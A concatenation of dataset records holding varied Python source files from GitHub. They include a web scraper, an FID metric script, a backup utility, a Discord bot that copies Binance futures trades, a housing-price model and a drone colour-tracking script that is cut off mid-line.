ALPHA)\n sess = RatesExchangeSession(env, agent)\n\n for e in range(TOTAL_EPISODES):\n episode = e\n with clock_block(\"Running\"):\n sess.run()\n print(\"Episode {} finished.\".format(episode))\n print(\"The td agent crated a token difference of: {0}\".format(sess.difference()))\n\n\n print(\"Current balance: {0} {1}\".format(env.amount, env.token))\n print(\"Exchange actions: {0}\".format(vis.actions))\n rates.reset()\n vis.render(\"BTC_ETH\")\n","repo_name":"0xdarkman/pythia","sub_path":"trainer/crypto_reinforcement.py","file_name":"crypto_reinforcement.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"9275022424","text":"import os\nimport scrapy\nimport pandas as pd\n\n\nclass CookpadImageSpider(scrapy.Spider):\n name = \"cookpadimage\"\n\n def start_requests(self):\n urls = []\n\n df = pd.read_csv(os.path.join('spiders', 'source_data', 'cookpad_id.csv'), names=['cookpad_id'])\n\n cookpad_ids = df['cookpad_id'].tolist()\n for cookpad_id in cookpad_ids:\n url = f'https://cookpad.com/recipe/{cookpad_id}'\n urls.append(url)\n\n for url in urls:\n yield scrapy.Request(url, callback=self.parse)\n\n def parse(self, response):\n recipe_image_url = response.css(\"div.clearfix img::attr(data-large-photo)\").extract_first()\n if recipe_image_url is not None:\n recipe_id = recipe_image_url.split('/')[4]\n\n yield {\n 'recipe_id': recipe_id,\n 'recipe_image_url': recipe_image_url}\n","repo_name":"sherry4186/web_crawling_tabelog","sub_path":"tabelog_spider/tabelog_spider/spiders/cookpad_images.py","file_name":"cookpad_images.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38212850678","text":"import numpy as np\nimport tensorflow as tf\nimport skimage\nimport scipy\nimport tqdm\n\n\ndef scale_images(images, shape):\n arr = list()\n for i in tqdm.tqdm(range(images.shape[0])):\n new_img = skimage.transform.resize(images[i], shape)\n arr.append(new_img)\n\n return np.asarray(arr)\n\n\ndef calculate_fid(features1, features2):\n # calculate mean and covariance statistics\n mu1, sigma1 = features1.mean(axis=0), np.cov(features1, rowvar=False)\n mu2, sigma2 = features2.mean(axis=0), np.cov(features2, rowvar=False)\n # calculate sum squared difference between means\n ssdiff = np.sum((mu1 - mu2)**2.0)\n # calculate sqrt of product between cov\n covmean = scipy.linalg.sqrtm(sigma1@sigma2)\n # check and correct imaginary numbers from sqrt\n if np.iscomplexobj(covmean):\n covmean = covmean.real\n # calculate score\n fid = ssdiff + np.trace(sigma1 + sigma2 - 2.0 * covmean)\n return fid\n\n\ndef main():\n # load model\n model = tf.keras.applications.inception_v3.InceptionV3(include_top=False, pooling=\"avg\", input_shape=(299, 299, 3))\n # model.summary()\n\n # prepare data\n # images1 = np.random.randint(0, 255, 10*32*32*3)\n # images1 = np.reshape(images1, (10, 32, 32, 3))\n # images2 = np.random.randint(0, 255, 10*32*32*3)\n # images2 = np.reshape(images2, (10, 32, 32, 3))\n (images1, _), (images2, _) = tf.keras.datasets.cifar10.load_data()\n np.random.shuffle(images1)\n np.random.shuffle(images2)\n images1 = images1[:1000]\n images2 = images2[:1000]\n print(\"Prepared images:\", images1.shape, images2.shape)\n\n images1 = images1.astype(\"float32\")\n images2 = images2.astype(\"float32\")\n\n images1 = scale_images(images1, (299, 299, 3))\n images2 = scale_images(images2, (299, 299, 3))\n print(\"Scaled images:\", images1.shape, images2.shape)\n\n images1 = tf.keras.applications.inception_v3.preprocess_input(images1)\n images2 = tf.keras.applications.inception_v3.preprocess_input(images2)\n\n pred1 = model.predict(images1)\n pred2 = model.predict(images2)\n print(\"Predictions:\", pred1.shape, pred2.shape)\n\n print(\"fid same:\", calculate_fid(pred1, pred1))\n print(\"fid diff:\", calculate_fid(pred1, pred2))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"IvanKuchin/learn-gan","sub_path":"chapter12/fid.py","file_name":"fid.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8933634520","text":"# coding: utf-8\n\n\ndef cached_method(method):\n\n def wrapper(self, *args, **kwargs):\n if not hasattr(self, '__cache'):\n setattr(self, '__cache', {})\n cache = getattr(self, '__cache')\n if method in cache:\n return cache[method]\n result = method(self, *args, **kwargs)\n cache[method] = result\n return result\n\n return wrapper\n","repo_name":"elsid/master","sub_path":"src/match_pattern/utils/cached_method.py","file_name":"cached_method.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"27274089415","text":"# import hashlib\n#\n# import sys\n#\n# def\n\nimport os\nimport tarfile\nimport pickle\nimport hashlib\nfrom time import strftime\nimport che_md5\ndef full_backup(src,dst,md5file):\n fname=os.path.basename(src) #security\n fname='%s_full_%s.tar.gz' % (fname,strftime('%Y%m%d'))\n fname=os.path.join(dst,fname)\n\n tar=tarfile.open(fname,'w:gz')\n tar.add(src)\n tar.close()\n\n md5dict={}\n for path,folders, files in os.walk(src):\n for file in files:\n key=os.path.join(path,file)\n md5dict[key]=che_md5.check_md5(key)\n\n with open(md5file,'wb') as fobj:\n pickle.dump(md5dict,fobj)\n\ndef incr_backup(src,dst,md5file):\n fname = os.path.basename(src) # security\n fname = '%s_incr_%s.tar.gz' % (fname, strftime('%Y%m%d'))\n fname = os.path.join(dst, fname)\n\n\n md5dict = {}\n for path, folders, files in os.walk(src):\n for file in files:\n key = os.path.join(path, file)\n md5dict[key] = che_md5.check_md5(key)\n\n with open(md5file,'rb') as fobj:\n old_md5=pickle.load(fobj)\n\n tar=tarfile.open(fname,'w:gz')\n for key in md5dict:\n if old_md5.get(key) !=md5dict[key]:\n tar.add(key)\n tar.close()\n\n with open(md5file,'wb') as fobj:\n pickle.dump(md5dict,fobj)\n\n\n\nif __name__ == '__main__':\n src='/tmp/nsd1908/security'\n dst='/tmp/nsd1908/backup'\n md5file='/tmp/nsd1908/md5.data'\n if strftime('%a')=='Mon':\n full_backup(src,dst,md5file)\n else:\n incr_backup(src,dst,md5file)\n","repo_name":"lianyuhao/biji","sub_path":"Python/py02/3day/day03.py","file_name":"day03.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28991065383","text":"from collections import deque\nimport copy\n\nn = int(input())\n#모든 노드에 대한 진입차수는 0으로 초기화\nindegree = [0] * (n+1)\n#각 노드에 연결된 간선 정보를 담기 위한 연결 리스트() 초기화\ngraph = [[] for i in range(n+1)]\ntime = [0] * (n+1)\n\nfor i in range(1,n+1):\n data = list(map(int, input().split()))\n time[i] = data[0]\n for x in data[1:-1]:\n print(\"x\",x)\n indegree[i] += 1\n graph[x].append(i)\n print(\"gr\",graph)\n\ndef topology_sort(): #위상정렬 함수\n result = copy.deepcopy(time) #알고리즘 수행 결과를 담을 리스트 복사\n print(\"Re\",result)\n q = deque()\n\n for i in range(1, n+1): #진입차수가 0인 노드를 큐에 삽입\n if indegree[i] == 0:\n q.append(i)\n while q:\n now = q.popleft()\n for i in graph[now]:\n print(\"result\",result[i], result[now]+ time[i])\n result[i] = max(result[i], result[now]+ time[i])\n\n indegree[i] -= 1\n if indegree[i] == 0:\n q.append(i)\n for i in range(1, n+1):\n print(result[i])\n\ntopology_sort()","repo_name":"songyoungeun/Algorithm_Study","sub_path":"etc/커리큘럼.py","file_name":"커리큘럼.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"29625380679","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('login', views.login_view, name='login'),\n path('register', views.register, name='register'),\n path('logout', views.logout_view, name='logout'),\n path('create/', views.create,name='create'),\n path('details/',views.details, name='details'),\n #path('expense/',views.expense, name='expense'),\n\n\n]","repo_name":"ashayk9/django_projects","sub_path":"budget3/myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73034577505","text":"a = \"amit kaner chetan ashish\"\nprint(a.split())\n\nremot_file = open(\"E:\\\\lectures\\\\python\\\\programs\\\\remote_new_file.txt\")\n\nlines = remot_file.readlines()\n\nprint(lines)\n\nignore_name = {\n \"chetan\",\n \"ashish\",\n}\n\nfor line in lines:\n # print(line)\n\n each_name = line.split()\n\n for name in each_name:\n if name not in ignore_name:\n print(name)\n\n\n\nremot_file.close()","repo_name":"amitskanere/learning-git","sub_path":"string_operatiion.py","file_name":"string_operatiion.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"70111212066","text":"\"\"\" make reference text files needed for ROUGE evaluation \"\"\"\nimport json\nimport os\nfrom os.path import join, exists\nfrom time import time\nfrom datetime import timedelta\n\nfrom utils import count_data\nfrom decoding import make_html_safe\n\ntry:\n DATA_DIR = os.environ['DATA']\nexcept KeyError:\n print('please use environment variable to specify data directories')\n\n\ndef dump(split):\n start = time()\n print('start processing {} split...'.format(split))\n data_dir = join(DATA_DIR, split)\n dump_dir = join(DATA_DIR, 'refs', split)\n n_data = count_data(data_dir)\n for i in range(n_data):\n print('processing {}/{} ({:.2f}%%)\\r'.format(i, n_data, 100*i/n_data),\n end='')\n with open(join(data_dir, '{}.json'.format(i))) as f:\n data = json.loads(f.read())\n abs_sents = data['abstract']\n with open(join(dump_dir, '{}.ref'.format(i)), 'w') as f:\n f.write(make_html_safe('\\n'.join(abs_sents)))\n print('finished in {}'.format(timedelta(seconds=time()-start)))\n\ndef main():\n for split in ['val', 'test']: # evaluation of train data takes too long\n if not exists(join(DATA_DIR, 'refs', split)):\n os.makedirs(join(DATA_DIR, 'refs', split))\n dump(split)\n\nif __name__ == '__main__':\n main()\n","repo_name":"ChenRocks/fast_abs_rl","sub_path":"make_eval_references.py","file_name":"make_eval_references.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":621,"dataset":"github-code","pt":"70"} +{"seq_id":"9495171946","text":"import datetime\nimport certifi\nimport discord\nimport configparser\nimport os\nfrom discord.ext import commands\nimport assist\nimport bparser\nfrom discord_webhook import DiscordWebhook, DiscordEmbed\nfrom discord.ui import Select, View\n\nlocked = True\nca = certifi.where()\nclient = commands.Bot(command_prefix='.', intents=discord.Intents.all())\n\n\ndef config_get(section, key):\n config = configparser.ConfigParser()\n config.read('config.ini')\n return config[section][key]\n\n\ndef config_set(section, key, value):\n config = configparser.ConfigParser()\n config.read('config.ini')\n config[section][key] = value\n with open('config.ini', 'w') as configfile:\n config.write(configfile)\n\n\ndef create_embed(description, color):\n return discord.Embed(description=description, color=color)\n\n\n@client.event\nasync def on_ready():\n print(\"Bot is running.\")\n await client.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=\"Binance Leaderboard\"))\n global db\n import db\n db.freeDB()\n bparser.login()\n\n\n@client.command()\nasync def settings(ctx):\n config = configparser.ConfigParser()\n config.read('config.ini')\n fields = [\n (\"MongoDB\", \"mongo-server\", \"url\",\n \"You need to set your MongoDB server url first ! `.mongourl [url]`\"),\n (\"API KEY\", \"binance-settings\", \"api-key\",\n \"You need to set your Binance API key first ! `.apikey [key]`\"),\n (\"API SECRET\", \"binance-settings\", \"api-secret\",\n \"You need to set your Binance API secret first ! `.apisecret [secret]`\"),\n (\"Trading Mode\", \"other-settings\", \"mode\",\n \"You need to set your trading mode first ! `.mode [mode]`\"),\n (\"Webhook\", \"other-settings\", \"webhook\",\n \"You need to set your webhook ! `.webhook [id]`\"),\n (\"Testnet\", \"other-settings\", \"testnet\",\n \"You need to set your testnet mode first ! `.testnet [true or false]`\"),\n ]\n embed = create_embed(\"Settings 🛠️\", 0x4eb120)\n for field in fields:\n value = \"✅\" if config[field[1]][field[2]] else \"❌\"\n embed.add_field(\n name=field[0], value=f\"{value} {field[3]}\", inline=False)\n await ctx.send(embed=embed)\n\n\n@client.command()\nasync def setup(ctx):\n embed = discord.Embed(description=\"Commands 🧪\", color=0x34eb8f)\n commands = [(\"🔹 Add a new trader\", \"`.add [trader_id]`\"),\n (\"🔹 Delete trader(s)\",\n \"`.delete [choose trader(s) in the list]`\"),\n (\"🔹 Set leverage for a symbol\",\n \"`.leverage [symbol] [leverage]`\"),\n (\"🔹 Set percent of your balance to trade\",\n \"`.setPercent [percent] `\"),\n (\"🔹 Set default leverage\", \"`.dLeverage [leverage] `\"),\n (\"🔹 Set your SL\", \"`.sl [percent]`\"),\n (\"🔹 Set your TP\", \"`.tp [percent]`\"),\n (\"🔹 Break Even\", \"`.breakeven [symbol]`\"),\n (\"🔹 Enable/Disable TP/SL\", \"`.tpsl [True or False]`\"),\n (\"🔹 See your FUTURES balance\", \"`.balance`\"),\n (\"🔹 See your performances\", \"`.stats`\"),\n (\"🔹 See your current trades\", \"`.current`\"),\n (\"🔹 Set maximum simultaneous trades \",\n \"`.maxtrades [number]`\"),\n (\"🔹 Modify settings\", \"`.settings`\"),\n (\"🔹 Stop the bot\", \"`.stop`\")]\n\n for name, value in commands:\n embed.add_field(name=name, value=value, inline=False)\n\n embed.timestamp = datetime.datetime.utcnow()\n\n await ctx.send(embed=embed)\n\n\nasync def delete_traders_callback(interaction, traders_to_remove, ctx):\n await interaction.response.defer()\n new_embed = discord.Embed(description=db.deleteTraders(traders_to_remove))\n await ctx.send(embed=new_embed)\n\n\nclass TradersRemoveMenu(Select):\n def __init__(self, options, ctx):\n super().__init__(\n placeholder=\"Trader(s) to remove\",\n options=options,\n max_values=len(options),\n min_values=1\n )\n self.ctx = ctx\n\n async def callback(self, interaction):\n await delete_traders_callback(interaction, self.values, self.ctx)\n\n\n@client.command()\nasync def maxtrades(ctx, *, arg):\n if not arg.isnumeric():\n await ctx.send(\"❌ Oops, please enter a good value !\")\n return\n update_config(\"other-settings\", \"maxtrades\", arg)\n await ctx.send(f\"✅ Maximum simultaneous trades is now {arg} !\")\n\n\n@client.command()\nasync def tpsl(ctx, *, arg):\n tp_percent = config_get(\"other-settings\", \"TP\")\n sl_percent = config_get(\"other-settings\", \"SL\")\n if not tp_percent or not sl_percent:\n await ctx.send(\"❌ Oops, you need to set your TP and SL first !\")\n return\n if arg not in [\"True\", \"False\"]:\n await ctx.send(\"❌ Oops, please enter a good value 'True' or 'False' !\")\n return\n update_config(\"other-settings\", \"TPSL\", arg)\n await ctx.send(\"✅ TP/SL is now activated !\" if arg == \"True\" else \"✅ TP/SL is now deactivated !\")\n\n\n@client.command()\nasync def delete(ctx):\n traders = db.getTraders()\n if not traders:\n await ctx.send(\"❌ Oops, you don't have any traders yet !\")\n return\n remove_menu = TradersRemoveMenu(\n options=[discord.SelectOption(\n value=trader, label=f\"{trader}\") for trader in traders[1]],\n ctx=ctx\n )\n view = View()\n view.add_item(remove_menu)\n await ctx.send(view=view)\n\n\n@client.command()\nasync def stop(ctx):\n await ctx.send(\"❌ Bot is stopping, you will need to restart it manually.\")\n await client.close()\n\n\n@client.command()\nasync def current(ctx):\n trades = bparser.getCurrentTrade()\n if not trades:\n await ctx.send(\"❌ Oops, you don't have any current trade !\")\n return\n\n embed = create_embed(\"💤 Current Trades\", 0x6fa8dc)\n\n if isinstance(trades, dict) and len(trades) == 15:\n profit = round(float(trades['unRealizedProfit']), 3)\n embed.add_field(name=trades[\"symbol\"],\n value=f\"Profit: {profit}\", inline=False)\n elif isinstance(trades, list):\n for trade in trades:\n profit = round(float(trade['unRealizedProfit']), 3)\n embed.add_field(name=trade[\"symbol\"],\n value=f\"Profit: {profit}\", inline=False)\n await ctx.send(embed=embed)\n\n\ndef update_config(section, key, value):\n config = configparser.ConfigParser()\n config.read('config.ini')\n config[section][key] = value\n with open('config.ini', 'w') as configfile:\n config.write(configfile)\n\n\ndef is_valid_number(arg):\n if not arg.isdigit():\n return False\n return True\n\n\n@client.command()\nasync def breakeven(ctx, *, arg):\n if not bparser.isSymbolValid(arg):\n await ctx.send(\"❌ Oops, symbol is not valid! Please use the format: BTCUSDT, ETHUSDT, etc...\")\n return\n else:\n be = bparser.setBreakEven(arg)\n if be == True:\n await ctx.send(f\"✅ SL moved to break even for {arg} pair !\")\n else:\n await ctx.send(f\"❌ Oops, something went wrong !\")\n\n\n@client.command()\nasync def leverage(ctx, *, arg):\n arg = arg.split()\n if len(arg) != 2:\n await ctx.send(\"❌ Oops, you need to specify a symbol and a leverage!\")\n return\n symbol, leverage = arg\n if await is_valid_number(leverage):\n if not bparser.isSymbolValid(symbol):\n await ctx.send(\"❌ Oops, symbol is not valid! Please use the format: BTCUSDT, ETHUSDT, etc...\")\n return\n if not bparser.isLeverageValid(symbol, leverage):\n await ctx.send(f\"❌ Oops, leverage is not valid for {symbol}!\")\n return\n db.setLeverage(symbol, leverage)\n await ctx.send(f\"✅ Leverage for {symbol} set to {leverage}x!\")\n\n\n@client.command()\nasync def stats(ctx):\n incomes = bparser.stats()\n embed = discord.Embed(description=\"Stats 📊\", color=0x34eb8f)\n timeframes = [\"1 day\", \"7 days\", \"30 days\"]\n\n for timeframe, income in zip(timeframes, incomes):\n embed.add_field(name=timeframe, value=f\"`{income} USDT`\", inline=True)\n\n await ctx.send(embed=embed)\n\n\n@client.command()\nasync def balance(ctx):\n values = bparser.aBalance()\n embed = discord.Embed(title=\"Balances 💰\", color=0xebb734)\n for symbol, balance in values.items():\n embed.add_field(\n name=symbol, value=f\"{round(float(balance), 2)}\", inline=False)\n embed.timestamp = datetime.datetime.utcnow()\n await ctx.send(embed=embed)\n\n\n@client.command()\nasync def dLeverage(ctx, *, arg):\n if is_valid_number(arg):\n update_config('other-settings', 'default-leverage', arg)\n await ctx.send(f\" ✅ Default leverage set to {arg}!\")\n else:\n await ctx.send(\"❌ Oops, please enter a good value !\")\n\n\n@client.command()\nasync def tp(ctx, *, arg):\n if is_valid_number(arg):\n update_config('other-settings', 'tp', arg)\n await ctx.send(f\"✅ TP set to {arg}%!\")\n else:\n await ctx.send(\"❌ Oops, please enter a good value !\")\n\n\n@client.command()\nasync def sl(ctx, *, arg):\n if is_valid_number(arg):\n update_config('other-settings', 'sl', arg)\n await ctx.send(f\"✅ SL set to {arg}%!\")\n else:\n await ctx.send(\"❌ Oops, please enter a good value !\")\n\n\n@client.command()\nasync def mongourl(ctx, *, arg):\n update_config('other-settings', 'mongo-url', arg)\n await ctx.send(\"✅ MongoDB server url set !\")\n\n\n@client.command()\nasync def setPercent(ctx, *, arg):\n if is_valid_number(arg) and 1 <= int(arg) <= 100:\n update_config('other-settings', 'percent', arg)\n await ctx.send(f\"✅ Percent set to {arg}%!\")\n else:\n await ctx.send(\"❌ Oops, please enter a good value !\")\n\n\nasync def send_embed(ctx, description):\n new_embed = discord.Embed(description=description)\n await ctx.send(embed=new_embed)\n\n\n@client.command()\nasync def add(ctx, *, arg):\n followTraderQuery = db.followTrader(arg)\n await send_embed(ctx, followTraderQuery)\n\n\nasync def update_setting(ctx, key, value):\n update_config('binance-settings', key, value)\n await ctx.send(f\"✅ Binance {key.replace('-', ' ')} set!\")\n\n\n@client.command()\nasync def apikey(ctx, *, arg):\n await update_setting(ctx, 'api-key', arg)\n\n\n@client.command()\nasync def apisecret(ctx, *, arg):\n await update_setting(ctx, 'api-secret', arg)\n\n\n@client.command()\nasync def mode(ctx, *, arg):\n update_config('other-settings', 'mode', arg)\n await ctx.send(f\"✅ Trading mode set to: {arg}!\")\n\n\n@client.command()\nasync def testnet(ctx, *, arg):\n update_config('other-settings', 'testnet', arg)\n await ctx.send(\"✅ Testnet mode set!\")\n\n\ndef webhook_start(title, side, symbol, orderid, quantity, leverage, entryPrice, color):\n webhook_url = config_get('other-settings', 'webhook')\n webhook = DiscordWebhook(url=webhook_url)\n embed = DiscordEmbed(title=title, color=color)\n embed.set_footer(text='Binance Trade Bot',\n icon_url=\"https://imgur.com/hLBQTYI.png\")\n embed.set_timestamp()\n fields = [('Side', side), ('Symbol', symbol), ('Quantity', quantity), ('Leverage',\n leverage), ('Entry Price', entryPrice), ('Order ID', (str(orderid)))]\n for name, value in fields:\n embed.add_embed_field(name=name, value=f'`{value}`')\n webhook.add_embed(embed)\n response = webhook.execute()\n\n\ndef webhook_end(title, symbol, leverage, entryPrice, exitPrice, data, color):\n webhook_url = config_get('other-settings', 'webhook')\n entryPrice = round(float(entryPrice), 2)\n exitPrice = round(float(exitPrice), 2)\n webhook = DiscordWebhook(url=webhook_url)\n embed = DiscordEmbed(title=title, color=color)\n embed.set_footer(text='Binance Trade Bot',\n icon_url=\"https://imgur.com/hLBQTYI.png\")\n embed.set_timestamp()\n fields = [('Symbol', symbol), ('Leverage', leverage), ('Entry Price', entryPrice),\n ('Exit Price', exitPrice), ('PnL', f'{data[0]} {symbol[-4:]}'), ('ROE %', f'{data[1]}%')]\n for name, value in fields:\n embed.add_embed_field(name=name, value=f'`{value}`')\n webhook.add_embed(embed)\n response = webhook.execute()\n\n\ndef get_webhook_url():\n config = configparser.ConfigParser()\n config.read('config.ini')\n return config['other-settings']['webhook']\n\n\ndef webhook_infos(title, side, symbol, orderid, quantity, leverage, percent, color):\n webhook = DiscordWebhook(url=get_webhook_url())\n embed = DiscordEmbed(title=title, color=color)\n embed.set_footer(text='Binance Trade Bot',\n icon_url=\"https://imgur.com/hLBQTYI.png\")\n embed.set_timestamp()\n fields = [\n ('Side', side),\n ('Symbol', symbol),\n ('Quantity', quantity),\n ('Leverage', leverage),\n ('Percent', f\"{percent}%\"),\n ('Order ID', f\"||{orderid}||\")\n ]\n for name, value in fields:\n embed.add_embed_field(name=name, value=f\"`{value}`\")\n webhook.add_embed(embed)\n response = webhook.execute()\n\n\ndef webhook_error(reason, symbol):\n webhook = DiscordWebhook(url=get_webhook_url())\n embed = DiscordEmbed(\n title=\"⚠️ Error, please verify your trades !\", color='fc9d03')\n embed.set_footer(text='Binance Trade Bot',\n icon_url=\"https://imgur.com/hLBQTYI.png\")\n embed.set_timestamp()\n embed.set_description(f\"{reason} for: {symbol}\")\n webhook.add_embed(embed)\n response = webhook.execute()\n\n\ndef starter():\n if os.path.exists('config.ini'):\n assist.unlock()\n token = config_get('discord-token', 'token')\n client.run(token, log_handler=None)\n else:\n assist.start()\n\n\nif __name__ == \"__main__\":\n starter()\n","repo_name":"tpmmthomas/binance-copy-trade-bot","sub_path":"Binance/disbot.py","file_name":"disbot.py","file_ext":"py","file_size_in_byte":13860,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"70"} +{"seq_id":"33835142059","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 7 10:36:36 2018\n\n@author: mlbook\n\nSubmission format @ Kaggle, where train data and test data are downloaded\n\nLevel 1\n\nUsing RandomTreeForest model\n\n\"\"\"\n#Importing necessary libraries\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestRegressor\n\n#Read the data into dataframe [[Training Data from train.csv file]]\n# if data is from web portal ../input/train.csv\ndataset = pd.read_csv('train.csv')\ntrain_y = dataset.SalePrice\n#dataset.columns 'for selecting the intended variables/columns \nneed_cols = ['LotArea', 'OverallQual', 'YearBuilt', 'TotRmsAbvGrd']\ntrain_X = dataset[need_cols]\n#Fitting into the model\nrfg_model=RandomForestRegressor()\nrfg_model.fit(train_X, train_y)\n\n\n#Read the data into dataframe [[Training Data from test.csv file without SalePrice data]]\ndataset1 = pd.read_csv('test.csv')\ntest_X = dataset1[need_cols]\n\n#Predicting the training values\nsp_pred = rfg_model.predict(test_X)\nprint(sp_pred)\n\n#Preparing for submission\nmy_submit = pd.DataFrame({'ID':dataset1.Id, 'SalePrice':sp_pred})\n\n#Exporting to CSV file\nmy_submit.to_csv('mysubmission.csv',index=False)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"babuasian/Housing-Prices-Prediction---Melbourne","sub_path":"mbl-housingprice-pred.py","file_name":"mbl-housingprice-pred.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23168162266","text":"#!/usr/bin/env python\n\nfrom collections import deque\n\ndef main():\n directions = load_directions('puzzleinput.txt')\n print(\"Answer part one: \", part_one(directions))\n print(\"Answer part two: \", part_two(directions))\n\n\ndef part_one(directions):\n black_tiles = initiate_board(directions)\n return len(black_tiles)\n\n\ndef initiate_board(directions):\n black_tiles = set()\n for direction in directions:\n target_tile = read_direction(direction)\n if target_tile in black_tiles:\n black_tiles.remove(target_tile)\n else:\n black_tiles.add(target_tile)\n return black_tiles\n\n\ndef part_two(directions):\n black_tiles = initiate_board(directions)\n for i in range(100):\n q = deque()\n for tile in black_tiles:\n q.appendleft(tile)\n queued = black_tiles.copy()\n new_black_tiles = set()\n while len(q) != 0:\n tile = q.pop()\n black_adjacent = 0\n for neighbor in adjacent_tiles(*tile):\n if neighbor in black_tiles:\n black_adjacent += 1\n if tile in black_tiles and neighbor not in queued:\n queued.add(neighbor)\n q.appendleft(neighbor)\n if tile in black_tiles and 1 <= black_adjacent <= 2:\n new_black_tiles.add(tile)\n elif tile not in black_tiles and black_adjacent == 2:\n new_black_tiles.add(tile)\n black_tiles = new_black_tiles\n return len(black_tiles)\n\n\ndef adjacent_tiles(x, y):\n return [\n (x - 2, y), (x + 2, y), (x + 1, y + 1),\n (x - 1, y + 1), (x + 1, y - 1), (x - 1, y - 1)]\n\n\ndef load_directions(path):\n directions = []\n with open(path, 'r') as fin:\n for line in fin:\n line = line.strip()\n directions.append(line)\n return directions\n\n\ndef read_direction(line):\n x, y = 0, 0\n pos = 0\n while pos < len(line):\n char = line[pos]\n if char == 'e':\n x += 2\n pos += 1\n elif char == 'w':\n x -= 2\n pos += 1\n else:\n nxt_char = line[pos + 1]\n x = x + 1 if nxt_char == 'e' else x - 1\n y = y + 1 if char == 'n' else y - 1\n pos += 2\n return x, y\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"nickmachnik/AoC-solutions","sub_path":"2020/python/day24/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72836073828","text":"import fileinput\n\nfor line in fileinput.input():\n n = int(line)\n if n > 2:\n print(2, end='')\n s = [True] * int(n / 2)\n for i in range(3, int(n ** 0.5) + 1, 2):\n if s[int(i / 2)]:\n s[int(i * i / 2)::i] = [False] * int((n - i * i - 1) / (2 * i) + 1)\n for i in range(1, int(n / 2)):\n if s[i]:\n print(',', 2 * i + 1, sep='', end='')\n print()\n","repo_name":"shortthirdman/code-eval-challenges","sub_path":"moderate/prime_less.py3","file_name":"prime_less.py3","file_ext":"py3","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"1116645009","text":"import easytello\nimport cv2\nimport numpy as np\nimport time\nimport util\n\ntello = easytello.tello.Tello()\ntello.takeoff()\ntello.streamon()\ntime.sleep(2)\n\nstop_threshold = 0.30\n\ncv2.namedWindow('square')\n\nprocess_this_frame = True\ngreen = 0\n\nwhile True:\n # easytello.tello.Tello will have an attribute `frame` after start Tello()._video_thread()\n frame = tello.frame\n\n if frame is None:\n continue\n\n frame_width = tello.cap.get(cv2.CAP_PROP_FRAME_WIDTH)\n frame_height = tello.cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\n\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n # green bounding\n color_bottom = np.array([50, 40, 30])\n color_top = np.array([80, 255, 255])\n mask = cv2.inRange(hsv, color_bottom, color_top)\n\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, np.ones((3, 3), np.uint8)) # remove noise\n green = cv2.countNonZero(mask)\n\n mask = cv2.bitwise_not(mask) # invert\n\n res = cv2.bitwise_and(frame, frame, mask=mask)\n\n # see: https://stackoverflow.com/questions/44522012/rectangle-detection-tracking-using-opencv\n contours = cv2.findContours(mask, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)[-2]\n\n dst = frame.copy()\n \n max_bounding_box = 0\n max_area = 0\n \n for cnt in contours:\n bbox = cv2.boundingRect(cnt)\n x, y, w, h = bbox\n # w == frame_width means the entire frame\n if w < 30 or h < 30 or w == frame_width:\n continue\n area = w * h\n\n if max_area < area:\n max_bounding_box = bbox\n max_area = area\n\n cv2.rectangle(dst, (x, y), (x + w, y + h), (255, 255, 0), 3, 16)\n\n if not max_bounding_box:\n print('No Contours Found')\n continue\n\n x, y, w, h = max_bounding_box\n cx = int(x + w / 2)\n cy = int(y + h / 2)\n \n cv2.circle(dst, (cx, cy), 10, (0, 0, 255), 3)\n\n ratio = green / (frame_width * frame_height)\n\n if ratio > stop_threshold:\n print(f'Exceeded threshold. (ratio: {ratio})')\n tello.flip('b')\n tello.stop()\n\n # if the center of target is on the right\n forward = True\n if cx - frame_width / 2 > 50:\n forward = False\n print('Going Right...')\n tello.right(30)\n time.sleep(2)\n # on the left\n elif cx - frame_width / 2 < -50:\n forward = False\n print('Going Left...')\n tello.left(30)\n time.sleep(2)\n\n # on the top\n if cy - frame_height / 2 > 50:\n forward = False\n print('Going Down...')\n tello.down(30)\n time.sleep(2)\n # on the bottom\n elif cy - frame_height / 2 < -50:\n forward = False\n print('Going Up...')\n tello.up(30)\n time.sleep(2)\n\n # if the target is in the center\n if forward:\n print('Going forward...')\n tello.forward(50)\n time.sleep(2)\n\n # land on Q key\n key = 